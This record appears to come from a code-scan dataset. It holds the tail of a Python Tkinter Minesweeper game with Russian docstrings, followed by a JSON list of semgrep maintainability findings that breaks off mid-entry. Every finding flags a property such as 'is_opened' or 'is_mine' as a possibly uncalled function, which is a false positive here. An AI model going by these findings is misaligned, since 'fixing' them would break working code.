value: delta = 1 else: delta = -1 self.__execute_around(Cell.__is_mine_lambda, delta) @staticmethod def __is_mine_lambda(cell, delta): """Обновляет количество флагов для указанной ячейки""" cell.mine_count += delta @property def is_opened(self): """Открыта ли ячейка""" return self.__is_opened @is_opened.setter def is_opened(self, value): """Открыта ли ячейка""" has_changed = (value != self.__is_opened) if not has_changed: return self.__is_opened = value if value: delta = 1 else: delta = -1 self.__field.opened_count += delta for callback in self.__field.change_callbacks: callback(self) @property def mine_count(self): """Количество мин вокруг данной ячейки""" return self.__mine_count @mine_count.setter def mine_count(self, value): """Количество мин вокруг данной ячейки""" has_changed = (value != self.mine_count) if not has_changed or self.is_mine: return self.__mine_count = value if self.is_opened: for callback in self.__field.change_callbacks: callback(self) @property def x(self): """Координата ячейки по оси X (начиная с 0)""" return self.__x @property def y(self): """Координата ячейки по оси Y (начиная с 0)""" return self.__y def open(self, is_chain = False): """Открывает эту ячейку и те, что вокруг неё с учётом флагов""" if (self.is_flagged) or (is_chain and self.is_opened): return True self.is_opened = True if self.is_mine: if self.__field.explosion is None: self.__field.explosion = (self.x, self.y) return False if self.flag_count >= self.mine_count: return self.__execute_around( lambda cell, arg: cell.open(arg), True, acc_fun = lambda a, b: a & b, acc_def = True ) return True def __execute_around(self, func, arg, acc_fun = None, acc_def = None): """Выполняет функцию для каждой ячейки вокруг данной""" output = acc_def for side in self.__sides: has_cell, coords = side if not has_cell: continue result = func(self.__field.cells[coords[1]][coords[0]], arg) if acc_fun is not None: output = acc_fun(result, output) return output def __repr__(self): """Возвращает текстовое представление ячейки""" if self.is_mine: return '*' elif self.mine_count == 0: return '.' else: return str(self.mine_count) ##### КЛАСС FIELD ##### class Field(object): """Представляет игровое поле""" def __init__(self, x, y, mines): self.__cell_count = x * y self.__explosion = None self.__is_initialized = False self.__mines = mines self.__need_opened = (x * y) - mines self.__opened_count = 0 self.__x = x self.__y = y self.cells = [ [Cell(self, xi, yi) for xi in range(self.x)] for yi in range(self.y) ] # Функции, вызываемые при изменении состояния ячейки self.change_callbacks = [] @property def explosion(self): """Определяет ячейку, в которой произошёл первый взрыв""" return self.__explosion @explosion.setter def explosion(self, value): """Определяет ячейку, в которой произошёл первый взрыв""" has_changed = (value != self.explosion) if not has_changed: return self.__explosion = value for callback in self.change_callbacks: callback(self.cells[value[1]][value[0]]) @property def has_won(self): """Определяет, выиграл ли игрок""" return self.opened_count == self.__need_opened @property def is_initialized(self): """Определяет, было ли инициализировано игровое поле""" return self.__is_initialized @property def opened_count(self): """Количество открытых ячеек поля""" return self.__opened_count @opened_count.setter def opened_count(self, value): """Количество открытых ячеек поля""" self.__opened_count = value @property def x(self): """Размер поля по оси X""" return self.__x @property def y(self): """Размер поля по оси Y""" return self.__y def initialize(self): """Расставляет мины по полю в соответствии с указанным количеством""" if self.is_initialized: return cell_list = [] for yi in range(self.y): for xi in range(self.x): if self.cells[yi][xi].is_opened: continue cell_list.append((xi, yi)) for _ in range(self.__mines): index = randrange(len(cell_list)) coord = cell_list[index] self.cells[coord[1]][coord[0]].is_mine = True cell_list.pop(index) self.__is_initialized = True def open_all(self): """Открывает все ячейки игрового поля""" for yi in range(self.y): for xi in range(self.x): self.cells[yi][xi].is_opened = True def __repr__(self): """Возвращает строковое представление игрового поля""" output = '' for yi in range(self.y): for xi in range(self.x): output += str(self.cells[yi][xi]) output += '\n' return output ##### КЛАСС GAMETK ##### class GameTk(object): """Описывает игру в рамках графического интерфейса Tk""" def __init__(self, x, y, mines): self.__x = x self.__y = y self.__mines = mines self.__field = Field(x, y, mines) self.__field.change_callbacks.append(self.cell_update_callback) self.__window = tkinter.Tk() self.__window.resizable(0,0) self.__window.title('Сапёр') frame = tkinter.Frame(self.__window) frame.pack() self.__cell_img = { 'closed': tkinter.PhotoImage(file = 'img/cell_closed.gif'), 'explosion': tkinter.PhotoImage(file = 'img/cell_explosion.gif'), 'flag': tkinter.PhotoImage(file = 'img/cell_flag.gif'), 'mine': tkinter.PhotoImage(file = 'img/cell_mine.gif'), 'mineflag': tkinter.PhotoImage(file = 'img/cell_mineflag.gif') } for i in range(9): self.__cell_img[i] = tkinter.PhotoImage(file = 'img/cell_{}.gif'.format(i)) self.__buttons = [] for yi in range(y): row = [] for xi in range(x): button = tkinter.Button( frame, image = self.__cell_img['closed'] ) button.coords = (xi, yi) button.bind('<Button-1>', self.__button_leftclick) button.bind('<Button-2>', self.__button_rightclick) button.bind('<Button-3>', self.__button_rightclick) button.grid(row = yi, column = xi) row.append(button) self.__buttons.append(row) caption = tkinter.Label( frame, text = 'Автор: Фостер Сноухилл, гр. 7-АиСн-4, Московский политех' ) caption.grid(row = y, column = 0, columnspan = x) self.center() self.__window.focus() self.__window.mainloop() def __button_leftclick(self, event): """Обрабатывает щелчок левой кнопки мыши по ячейке""" (x, y) = event.widget.coords cell = self.__field.cells[y][x] if not self.__field.is_initialized: cell.is_opened = True self.__field.initialize() print(self.__field) result = cell.open() self.__window.update_idletasks() if not result: self.__field.open_all() coords = self.__field.explosion cell = self.__field.cells[coords[1]][coords[0]] self.cell_update_callback(cell) self.__window.update_idletasks() tkinter.messagebox.showinfo('Сапёр', 'Игра окончена. Вы проиграли :(') self.__window.quit() elif self.__field.has_won: self.__field.open_all() self.__window.update_idletasks() tkinter.messagebox.showinfo('Сапёр', 'Игра окончена. Вы выиграли! :D') self.__window.quit() def __button_rightclick(self, event): """Обрабатывает щелчок правой кнопки мыши""" if not self.__field.is_initialized: return (x, y) = event.widget.coords cell = self.__field.cells[y][x] if cell.is_opened: return cell.is_flagged = not cell.is_flagged def cell_update_callback(self, cell): """Обновляет визуальное состояние ячейки""" button = self.__buttons[cell.y][cell.x] if cell.is_opened: if self.__field.explosion == (cell.x, cell.y): button.config(image = self.__cell_img['explosion']) elif cell.is_mine: if cell.is_flagged: button.config(image = self.__cell_img['mineflag']) else: button.config(image = self.__cell_img['mine']) else: button.config(image = self.__cell_img[cell.mine_count]) else: if cell.is_flagged: button.config(image = self.__cell_img['flag']) else: button.config(image = self.__cell_img['closed']) def center(self): """Выравнивает окно по центру экрана""" self.__window.update_idletasks() w = self.__window.winfo_screenwidth() h = self.__window.winfo_screenheight() size = tuple(int(_) for _ in self.__window.geometry().split('+')[0].split('x')) x = w / 2 - size[0] / 2 y = h / 2 - size[1] / 2 self.__window.geometry("%dx%d+%d+%d" % (size + (x, y))) if __name__ == '__main__': GameTk(16, 16, 32)
554
24.55
87
20
3,524
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_54b8f52d", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant self.is_flagged() because self.is_flagged is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 124, "line_end": 124, "column_start": 33, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 124, "col": 33, "offset": 3319}, "end": {"line": 124, "col": 48, "offset": 3334}, "extra": {"message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant self.is_flagged() because self.is_flagged is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_d0377d4b", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.is_opened() because self.is_opened is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 125, "line_end": 125, "column_start": 31, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 125, "col": 31, "offset": 3366}, "end": {"line": 125, "col": 45, "offset": 3380}, "extra": {"message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.is_opened() because self.is_opened is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_0bf5922b", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant self.is_mine() because self.is_mine is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 155, "line_end": 155, "column_start": 33, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 155, "col": 33, "offset": 4140}, "end": {"line": 155, "col": 45, "offset": 4152}, "extra": {"message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant self.is_mine() because self.is_mine is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_7c06e80d", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant self.is_mine() because self.is_mine is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 210, "line_end": 210, "column_start": 31, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 210, "col": 31, "offset": 5480}, "end": {"line": 210, "col": 43, "offset": 5492}, "extra": {"message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant self.is_mine() because self.is_mine is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_462cbb17", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.is_opened() because self.is_opened is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 215, "line_end": 215, "column_start": 12, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 215, "col": 12, "offset": 5560}, "end": {"line": 215, "col": 26, "offset": 5574}, "extra": {"message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.is_opened() because self.is_opened is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_bd8eeb29", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant self.is_flagged() because self.is_flagged is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 235, "line_end": 235, "column_start": 12, "column_end": 29, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 235, "col": 12, "offset": 6118}, "end": {"line": 235, "col": 29, "offset": 6135}, "extra": {"message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant self.is_flagged() because self.is_flagged is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_0f4b81b0", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.is_opened() because self.is_opened is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 235, "line_end": 235, "column_start": 47, "column_end": 61, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 235, "col": 47, "offset": 6153}, "end": {"line": 235, "col": 61, "offset": 6167}, "extra": {"message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.is_opened() because self.is_opened is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_1c441f3b", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.is_opened() because self.is_opened is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 238, "line_end": 238, "column_start": 9, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 238, "col": 9, "offset": 6203}, "end": {"line": 238, "col": 23, "offset": 6217}, "extra": {"message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.is_opened() because self.is_opened is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_0d9a8581", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant self.is_mine() because self.is_mine is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 240, "line_end": 240, "column_start": 12, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 240, "col": 12, "offset": 6237}, "end": {"line": 240, "col": 24, "offset": 6249}, "extra": {"message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant self.is_mine() because self.is_mine is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_5f9ae653", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant self.is_mine() because self.is_mine is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 279, "line_end": 279, "column_start": 12, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 279, "col": 12, "offset": 7307}, "end": {"line": 279, "col": 24, "offset": 7319}, "extra": {"message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant self.is_mine() because self.is_mine is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_cf5a40f0", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_initialized\" a function or an attribute? If it is a function, you may have meant self.is_initialized() because self.is_initialized is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 368, "line_end": 368, "column_start": 12, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 368, "col": 12, "offset": 9763}, "end": {"line": 368, "col": 31, "offset": 9782}, "extra": {"message": "Is \"is_initialized\" a function or an attribute? If it is a function, you may have meant self.is_initialized() because self.is_initialized is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_0463f556", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.cells[yi][xi].is_opened() because self.cells[yi][xi].is_opened is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 375, "line_end": 375, "column_start": 20, "column_end": 48, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 375, "col": 20, "offset": 9917}, "end": {"line": 375, "col": 48, "offset": 9945}, "extra": {"message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.cells[yi][xi].is_opened() because self.cells[yi][xi].is_opened is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_e3bfb39b", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant self.cells[coord[1]][coord[0]].is_mine() because self.cells[coord[1]][coord[0]].is_mine is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 382, "line_end": 382, "column_start": 13, "column_end": 51, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 382, "col": 13, "offset": 10153}, "end": {"line": 382, "col": 51, "offset": 10191}, "extra": {"message": "Is \"is_mine\" a function or an attribute? If it is a function, you may have meant self.cells[coord[1]][coord[0]].is_mine() because self.cells[coord[1]][coord[0]].is_mine is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_db840f03", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.cells[yi][xi].is_opened() because self.cells[yi][xi].is_opened is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 392, "line_end": 392, "column_start": 17, "column_end": 45, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 392, "col": 17, "offset": 10461}, "end": {"line": 392, "col": 45, "offset": 10489}, "extra": {"message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant self.cells[yi][xi].is_opened() because self.cells[yi][xi].is_opened is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_b3013d85", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_initialized\" a function or an attribute? If it is a function, you may have meant self.__field.is_initialized() because self.__field.is_initialized is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 476, "line_end": 476, "column_start": 16, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 476, "col": 16, "offset": 13094}, "end": {"line": 476, "col": 43, "offset": 13121}, "extra": {"message": "Is \"is_initialized\" a function or an attribute? If it is a function, you may have meant self.__field.is_initialized() because self.__field.is_initialized is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_cd23506a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant cell.is_opened() because cell.is_opened is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 477, "line_end": 477, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 477, "col": 13, "offset": 13135}, "end": {"line": 477, "col": 27, "offset": 13149}, "extra": {"message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant cell.is_opened() because cell.is_opened is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_e0a1fbb6", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_initialized\" a function or an attribute? If it is a function, you may have meant self.__field.is_initialized() because self.__field.is_initialized is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 503, "line_end": 503, "column_start": 16, "column_end": 43, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 503, "col": 16, "offset": 14102}, "end": {"line": 503, "col": 43, "offset": 14129}, "extra": {"message": "Is \"is_initialized\" a function or an attribute? If it is a function, you may have meant self.__field.is_initialized() because self.__field.is_initialized is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_60e02599", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant cell.is_opened() because cell.is_opened is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 509, "line_end": 509, "column_start": 12, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 509, "col": 12, "offset": 14240}, "end": {"line": 509, "col": 26, "offset": 14254}, "extra": {"message": "Is \"is_opened\" a function or an attribute? If it is a function, you may have meant cell.is_opened() because cell.is_opened is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_7edd808a", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant cell.is_flagged() because cell.is_flagged is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 512, "line_end": 512, "column_start": 9, "column_end": 24, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/5912b0bbb0e8f57e.py", "start": {"line": 512, "col": 9, "offset": 14284}, "end": {"line": 512, "col": 24, "offset": 14299}, "extra": {"message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant cell.is_flagged() because cell.is_flagged is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_5912b0bbb0e8f57e_45b2a0b9", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_flagged\" a function or an attribute? If it is a function, you may have meant cell.is_flagged() because cell.is_flagged is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 512, "line_end": 512, "column_start": 31, "column_end": 46, "code_snippet": "requires login"}, "cwe_id": null, 